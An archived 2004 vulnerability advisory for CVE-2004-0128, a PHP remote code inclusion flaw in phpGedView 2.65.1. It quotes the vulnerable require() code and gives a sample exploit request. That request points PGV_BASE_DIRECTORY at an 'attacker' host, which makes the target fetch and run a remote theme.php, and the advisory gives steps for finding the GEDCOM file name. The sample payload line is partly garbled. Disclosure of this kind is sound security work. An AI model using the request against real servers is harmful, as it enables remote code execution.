Php Code Injection Vulnerabilities in phpGedView 2.65.1 and prior
Current status
This advisory describes a vulnerability from 2004. It is not in the CISA Known Exploited Vulnerabilities catalog and there is no active remediation deadline. The page is kept online because other security databases link to it.
CVE reference CVE-2004-0128
In KEV catalog no
Affected software phpGedView version 2.65.1 and prior
Captured from netvigilance.com
Original document
Reproduced as it was published, including the advisory numbering, scoring and the disclosure timeline used at the time.
Description:
PHP remote code injection vulnerability in the GEDCOM configuration script for phpGedView 2.65.1 and earlier allows remote attackers to execute arbitrary PHP code by modifying the PGV_BASE_DIRECTORY parameter to reference a URL on a remote web server that contains a malicious theme.php script.
External References:
Mitre CVE: CVE-2004-0128
BUGTRAQ: 20040129 PHP Code Injection Vulnerabilities in phpGedView 2.65.1 and prior
Summary:
phpGedView is an open source system for online viewing of Gedcom information (family tree and genealogy information). Multiple PHP Code Injection vulnerabilities exist in the phpGedView product. They enable a malicious user to execute commands on the server.
Release Date:
January 29 2004
Severity:
High
SecureScout Testcase ID:
TC 17868 (Still in Development)
Vulnerable Systems:
phpGedView version 2.65.1 and prior
Vulnerability Type:
PHP Injection - force the Target to Execute a PHP file from Attackers Server
Vendor Status:
The Vendor has been notified and has Released a Version 2.65.3 that fixes the problem
Example:
(HIGH Risk no authentication needed)
- -- HTTP Request --
http://[target]/[phpGedView-directory]/index/[GED_File]_conf.php?PGV_BASE_DIRECTORY=http://attacker&THEME_DIR=/
- -- HTTP Request --
Code impacted : [GED_File]_conf.php
123:if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php"))
require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php");
124:else {
125: $THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/";
126: require($THEME_DIR."theme.php");
127: }
The require call is only vulnerable when PHP register_globals is On.
In this case you have to obtain the name of the GEDCOM File used. Just perform a http://[target]/session.php request the GEDCOM file will be in argument of the login.php call.
The attacker has to create on his web site a directory call themes/standard, and a file theme.php
For example: theme.php = " ;?>
and the request, will execute the phpinfo() command on the vulnerable target.
Credits:
Cedric Cochin - netVigilance Vulnerability Research team Why this page still exists
Advisories published between 2004 and 2015 are referenced by vulnerability databases, academic papers and mailing list archives. Removing them would break those references, so every advisory keeps its original address and its original text. Nothing on this page has been rewritten to match current practice.